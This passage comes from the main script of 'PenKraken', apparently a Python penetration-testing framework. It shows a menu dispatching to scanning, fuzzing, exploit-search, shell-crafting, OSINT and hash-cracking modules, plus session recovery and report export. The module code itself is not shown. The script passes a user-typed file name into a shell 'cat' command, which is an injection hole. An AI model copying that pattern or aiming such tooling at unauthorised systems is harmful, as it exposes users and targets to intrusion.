{colors['reset']}") 175 | if 'y' in str(again).lower(): 176 | self.exploit_search() 177 | else: 178 | print(f"{colors['red']}\n[+] Exiting Exploit Searcher Module...{colors['reset']}") 179 | else: 180 | self.exploit_search() 181 | 182 | # Shell Crafter 183 | elif option == '8': 184 | if shells != '': 185 | print(f"{colors['red']}\n[+] Last Shell Crafted was:\n{str(shells)}") 186 | again = input(f"{colors['blue']}\n[>] Would you like to craft a shell again? (y/n): {colors['reset']}") 187 | if 'y' in str(again).lower(): 188 | self.shell_crafter() 189 | else: 190 | print(f"{colors['red']}\n[+] Exiting ShellCrafter Module...{colors['reset']}") 191 | else: 192 | self.shell_crafter() 193 | 194 | # Osint CLI 195 | elif option == '9': 196 | if osint != '': 197 | print(f"{colors['red']}\n[+] Last OSINT Scan was:\n{str(osint)}") 198 | again = input(f"{colors['blue']}\n[>] Would you like to use the OSINT tool again? (y/n): {colors['reset']}") 199 | if 'y' in str(again).lower(): 200 | self.osint_scan() 201 | else: 202 | print(f"{colors['red']}\n[+] Exiting OSINT Module...{colors['reset']}") 203 | else: 204 | self.osint_scan() 205 | 206 | # Password Cracking 207 | elif option == '10': 208 | if cracked != '': 209 | print(f"{colors['red']}\n[+] Last Password Cracking was:\n{str(cracked)}") 210 | again = input(f"{colors['blue']}\n[>] Would you like to use the Password Cracking tool again? (y/n): {colors['reset']}") 211 | if 'y' in str(again).lower(): 212 | self.cracking() 213 | else: 214 | print(f"{colors['red']}\n[+] Exiting Password Cracking Module...{colors['reset']}") 215 | else: 216 | self.cracking() 217 | 218 | except: 219 | print(f"{colors['red']}[-] Invalid option{colors['reset']}") 220 | 221 | # Calling Independent Modules 222 | def os_identification(self): 223 | self.os = os_identify.Init() 224 | 225 | def ports_scan(self): 226 | self.ports = port_scanning.Init() 227 | 228 | def waf_scan(self): 229 | self.wafs = waf_detection.Init() 230 | 231 | def halberd_scan(self): 232 | self.balancers = load_balancers.Init() 233 | 234 | def PDiscovery_scan(self): 235 | self.discovery = discoverytools.Init() 236 | 237 | def fuzzing_scan(self): 238 | self.fuzzer = fuzzing.Init() 239 | 240 | def exploit_search(self): 241 | self.exploits = exp_searcher.Init() 242 | 243 | def shell_crafter(self): 244 | self.shells = Shellcraft.Init() 245 | 246 | def osint_scan(self): 247 | self.osint = Osint.Init() 248 | 249 | def cracking(self): 250 | self.cracked = Cracker.Init() 251 | 252 | 253 | 254 | def RecoverFile(name): 255 | dic = {} 256 | with open(name, 'r') as file: 257 | file_content = file.read() 258 | # Patterns 259 | host_pattern = re.compile(r'Host: ([\d.]+)') 260 | osint_pattern = re.compile(r'OSINT') 261 | metadata_pattern = re.compile(r'Metadata:((?:(?!\n\n).)*)', re.DOTALL) 262 | mails_pattern = re.compile(r'Mails:((?:(?!\n\n\n\n).)*)', re.DOTALL) 263 | domains_pattern = re.compile(r'Domains:((?:(?!\n\n).)*)', re.DOTALL) 264 | usernames_pattern = re.compile(r'Usernames:((?:(?!\n\n).)*)', re.DOTALL) 265 | hash_cracking_pattern = re.compile(r'Hash Cracking((?:(?!\n\n).)*)', re.DOTALL) 266 | os_pattern = re.compile(r'OS: (.+)') 267 | ports_pattern = re.compile(r'Oppened Ports:((?:(?!\n\n).)*)', re.DOTALL) 268 | nmap_pattern = re.compile(r'Nmap Scan:((?:(?!\n\n).)*)', re.DOTALL) 269 | fuzzing_pattern = re.compile(r'Fuzzing:((?:(?!\n\n).)*)', re.DOTALL) 270 | wafs_pattern = re.compile(r'WAFS: (.+)') 271 | balancers_pattern = re.compile(r'Load Balancers:((?:(?!\n\n\n\n).)*)', re.DOTALL) 272 | 273 | 274 | entries = re.split(r'(?=Host:)', file_content) 275 | # Process each entry 276 | for entry in entries: 277 | 278 | # OSINT part 279 | osint_match = osint_pattern.search(entry) 280 | 281 | if osint_match: 282 | osint_key = osint_match.group(0).strip() 283 | metadata_match = metadata_pattern.search(entry) 284 | mails_match = mails_pattern.search(entry) 285 | usernames_match = usernames_pattern.search(entry) 286 | domains_match = domains_pattern.search(entry) 287 | entry_dict = {} 288 | 289 | if metadata_match: 290 | entry_dict['Metadata'] = metadata_match.group(1).strip() + '\n' 291 | 292 | if mails_match: 293 | entry_dict['Mails'] = mails_match.group(1).strip() + '\n' 294 | 295 | if usernames_match: 296 | entry_dict['Usernames'] = usernames_match.group(1).strip() + '\n' 297 | 298 | if domains_match: 299 | entry_dict['Domains'] = domains_match.group(1).strip() + '\n' 300 | 301 | dic[osint_key] = entry_dict 302 | 303 | entry_dict = {} 304 | 305 | # Pass Cracking Part 306 | 307 | hash_match = hash_cracking_pattern.search(entry) 308 | 309 | if hash_match: 310 | hash_key = hash_match.group(1).strip() 311 | hash_val, password = hash_key.split(': ', 1) 312 | sub_dict = {hash_val: password+ '\n'} 313 | dic['Hash Cracking'] = sub_dict 314 | 315 | 316 | # Hosts Part 317 | 318 | host_match = host_pattern.search(entry) 319 | 320 | if host_match: 321 | 322 | host_key = host_match.group(0).strip() 323 | 324 | os_match = os_pattern.search(entry) 325 | if os_match: 326 | entry_dict['OS'] = os_match.group(1).strip() + '\n' 327 | 328 | ports_match = ports_pattern.search(entry) 329 | if ports_match: 330 | entry_dict['Oppened Ports'] = ports_match.group(1) + '\n' 331 | 332 | nmap_match = nmap_pattern.search(entry) 333 | if nmap_match: 334 | entry_dict['Nmap Scan'] = nmap_match.group(1) + '\n' 335 | 336 | wafs_match = wafs_pattern.search(entry) 337 | if wafs_match: 338 | entry_dict['WAFS'] = wafs_match.group(1).strip() +'\n' 339 | 340 | fuzzing_match = fuzzing_pattern.search(entry) 341 | if fuzzing_match: 342 | entry_dict['Fuzzing'] = fuzzing_match.group(1).strip() +'\n' 343 | 344 | balancers_match = balancers_pattern.search(entry) 345 | if balancers_match: 346 | entry_dict['Load Balancers'] = balancers_match.group(1).strip() 347 | 348 | dic[host_key] = entry_dict 349 | 350 | 351 | return dic 352 | 353 | 354 | if __name__ == "__main__": 355 | penkraken_welcome = Welcome(f""" 356 | ================================================================== 357 | ____ __. __ 358 | ______ ____ ____ | |/ _|___________ | | __ ____ ____ 359 | \____ \_/ __ \ / \| < \_ __ \__ \ | |/ // __ \ / \ 360 | | |_> > ___/| | \ | \ | | \// __ \| <\ ___/| | \\ 361 | | __/ \___ >___| /____|__ \|__| (____ /__|_ \\___ >___| / 362 | |__| \/ \/ \/ \/ \/ \/ \/ \n 363 | ================================================================== 364 | {colors['blue']}=================================================================={colors['reset']}""" 365 | ) 366 | # Display Welcome message 367 | penkraken_welcome.display_welcome_message() 368 | 369 | while True: 370 | print(f"{colors['green']}\n[+] OPENING PENKRAKEN PANEL! {colors['reset']}") 371 | option = input(f"{colors['bright_green']}\n[1] Recover file from other session to continue\n[2] Jump to modules\n\n{colors['blue']}[>] Choose an option: {colors['reset']}") 372 | if option != '1' and option != '2': 373 | print(f"{colors['green']}\n[-] Invalid Option! {colors['reset']}") 374 | else: 375 | break 376 | 377 | # Enumeration Variables 378 | Results_dic = {} 379 | os_name = '' 380 | ports_discovered = '' 381 | wafs = '' 382 | balancers = '' 383 | discovery = '' 384 | fuzzer = '' 385 | exploits = '' 386 | shells = '' 387 | osint = '' 388 | cracked = '' 389 | 390 | # Recover File 391 | if option == '1': 392 | name = input(f"{colors['blue']}\n[>] Name of the Recoverable File: {colors['reset']}") 393 | 394 | # Read content from the file and update variables 395 | Results_dic = RecoverFile(name) 396 | 397 | print(f"{colors['green']}\n[+] Document Loaded to {colors['red']}PenKraken {colors['green']}!\n[+] Loading Contents...{colors['reset']}") 398 | time.sleep(1) 399 | process = subprocess.Popen(f'cat {name}',stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True, text=True) 400 | while True: 401 | out = process.stdout.readline() 402 | time.sleep(0.025) 403 | if out == '' and process.poll() is not None: 404 | break 405 | else: 406 | if out: 407 | print(out.strip()) 408 | print(f"{colors['green']}\n[+] Done! ") 409 | 410 | # Choose an Option: 411 | while True: 412 | penkraken_enum = Enumeration() 413 | 414 | # Update Enumeration Variables 415 | try: 416 | if penkraken_enum.os != '': 417 | os_name = penkraken_enum.os[1] 418 | if f'Host: {penkraken_enum.os[0]}' in Results_dic: 419 | Results_dic[f'Host: {penkraken_enum.os[0]}'].update({'OS' : penkraken_enum.os[1]+'\n'}) 420 | else: 421 | Results_dic[f'Host: {penkraken_enum.os[0]}'] = {} 422 | Results_dic[f'Host: {penkraken_enum.os[0]}']['OS'] = penkraken_enum.os[1]+'\n' 423 | 424 | if penkraken_enum.ports != '': 425 | ports_discovered = penkraken_enum.ports[1] 426 | if f'Host: {penkraken_enum.ports[0]}' in Results_dic: 427 | try: 428 | Results_dic[f'Host: {penkraken_enum.ports[0]}'].update({'Oppened Ports' : penkraken_enum.ports[1]+'\n'}) 429 | Results_dic[f'Host: {penkraken_enum.ports[0]}'].update({'Nmap Scan' : penkraken_enum.ports[2]+'\n'}) 430 | except: 431 | Results_dic[f'Host: {penkraken_enum.ports[0]}'].update({'Oppened Ports' : penkraken_enum.ports[1]+'\n'}) 432 | 433 | else: 434 | try: 435 | Results_dic[f'Host: {penkraken_enum.ports[0]}'] = {} 436 | Results_dic[f'Host: {penkraken_enum.ports[0]}']['Oppened Ports'] = penkraken_enum.ports[1]+'\n' 437 | Results_dic[f'Host: {penkraken_enum.ports[0]}']['Nmap Scan'] = penkraken_enum.ports[2]+'\n' 438 | except: 439 | Results_dic[f'Host: {penkraken_enum.ports[0]}'] = {} 440 | Results_dic[f'Host: {penkraken_enum.ports[0]}']['Oppened Ports'] = penkraken_enum.ports[1]+'\n' 441 | 442 | 443 | 444 | 445 | if penkraken_enum.wafs != '': 446 | wafs = penkraken_enum.wafs 447 | if f'Host: {penkraken_enum.wafs[0]}' in Results_dic: 448 | Results_dic[f'Host: {penkraken_enum.wafs[0]}'].update({'WAFS' : penkraken_enum.wafs[1].strip()+'\n'}) 449 | else: 450 | Results_dic[f'Host: {penkraken_enum.wafs[0]}'] = {} 451 | Results_dic[f'Host: {penkraken_enum.wafs[0]}']['WAFS'] = penkraken_enum.wafs[1].strip()+'\n' 452 | 453 | if penkraken_enum.balancers != '': 454 | balancers = penkraken_enum.balancers[1] 455 | if f'Host: {penkraken_enum.balancers[0]}' in Results_dic: 456 | Results_dic[f'Host: {penkraken_enum.balancers[0]}'].update({'Load Balancers' : penkraken_enum.balancers[1].strip()+'\n\n'}) 457 | else: 458 | Results_dic[f'Host: {penkraken_enum.balancers[0]}'] = {} 459 | Results_dic[f'Host: {penkraken_enum.balancers[0]}']['Load Balancers'] = penkraken_enum.balancers[1].strip()+'\n\n' 460 | 461 | if penkraken_enum.discovery != '': 462 | try: 463 | discovery = penkraken_enum.discovery[1] 464 | if f'Host: {penkraken_enum.discovery[0]}' in Results_dic: 465 | Results_dic[f'Host: {penkraken_enum.balancers[0]}'].update({'Nuclei' : penkraken_enum.balancers[1].strip()+'\n'}) 466 | else: 467 | Results_dic[f'Host: {penkraken_enum.discovery[0]}'] = {} 468 | Results_dic[f'Host: {penkraken_enum.balancers[0]}']['Nuclei'] = penkraken_enum.balancers[1].strip()+'\n' 469 | except: 470 | discovery = penkraken_enum.discovery 471 | 472 | if penkraken_enum.fuzzer != '': 473 | fuzzer = penkraken_enum.fuzzer[1] 474 | if f'Host: {penkraken_enum.fuzzer[0]}' in Results_dic: 475 | Results_dic[f'Host: {penkraken_enum.fuzzer[0]}'].update({f'Fuzzing-{penkraken_enum.fuzzer[2]}' :penkraken_enum.fuzzer[1].strip()+'\n'}) 476 | else: 477 | Results_dic[f'Host: {penkraken_enum.fuzzer[0]}'] = {} 478 | Results_dic[f'Host: {penkraken_enum.fuzzer[0]}'][f'Fuzzing'] = penkraken_enum.fuzzer[1].strip()+'\n' 479 | 480 | if penkraken_enum.exploits != '': 481 | exploits = penkraken_enum.exploits 482 | 483 | if penkraken_enum.shells != '': 484 | shells = penkraken_enum.shells 485 | 486 | if penkraken_enum.osint != '': 487 | osint = penkraken_enum.osint[1] 488 | if f'OSINT' in Results_dic: 489 | Results_dic[f'OSINT'].update({penkraken_enum.osint[0] : penkraken_enum.osint[1]}) 490 | else: 491 | Results_dic[f'OSINT'] = {} 492 | Results_dic[f'OSINT'][penkraken_enum.osint[0]] = penkraken_enum.osint[1] 493 | 494 | if penkraken_enum.cracked != '': 495 | cracked = penkraken_enum.cracked 496 | hash_val = penkraken_enum.cracked.split(':')[-2].replace(' ','') 497 | pattern = re.compile(r'\x1b\[[0-9;]*m') 498 | hash_val = re.sub(pattern, '', hash_val) 499 | if 'Hash Cracking' in Results_dic: 500 | Results_dic['Hash Cracking'].update({hash_val : penkraken_enum.cracked.split(':')[1].split('\n')[0]+'\n'}) 501 | else: 502 | Results_dic['Hash Cracking'] = {} 503 | Results_dic['Hash Cracking'][hash_val] = penkraken_enum.cracked.split(':')[-1].split('\n')[0]+'\n' 504 | 505 | 506 | 507 | except: 508 | print(f"{colors['red']}\n[-] Failed to update Variables.{colors['reset']}") 509 | 510 | 511 | # Perform more actions 512 | 513 | while True: 514 | cont = input(f"{colors['blue']}\n[>] Would you like to perform more actions? (y/n): {colors['reset']}") 515 | if 'y' in str(cont).lower(): 516 | break 517 | elif 'n' in str(cont).lower(): 518 | input_name = input(f"{colors['blue']}\n[>] Name of the Resulting report file (Default = PenKraken-Report.txt): {colors['reset']}") 519 | try: 520 | if input_name != '': 521 | name = input_name 522 | else: 523 | name = 'PenKraken-Report.txt' 524 | file = open(name, 'w') 525 | write = '' 526 | for k,v in Results_dic.items(): 527 | if k.split()[-1] not in write: 528 | write+=f"{colors['red']}"+k+f"\n{colors['reset']}" 529 | for s,i in v.items(): 530 | write+=f"{colors['green']}"+s+f": {colors['magenta']}"+i+f"\n{colors['reset']}" 531 | 532 | file.write(write) 533 | except: 534 | print(f"{colors['red']}\n[-] Could not export Report!{colors['reset']}") 535 | 536 | print(f"{colors['red']}\n[+] Exiting Now...\n[+] Thanks for Using PenKraken!!{colors['reset']}") 537 | exit() 538 | else: 539 | print(f"{colors['red']}\n[-] That's not an option, try again{colors['reset']}") 540 | 541 | 542 | --------------------------------------------------------------------------------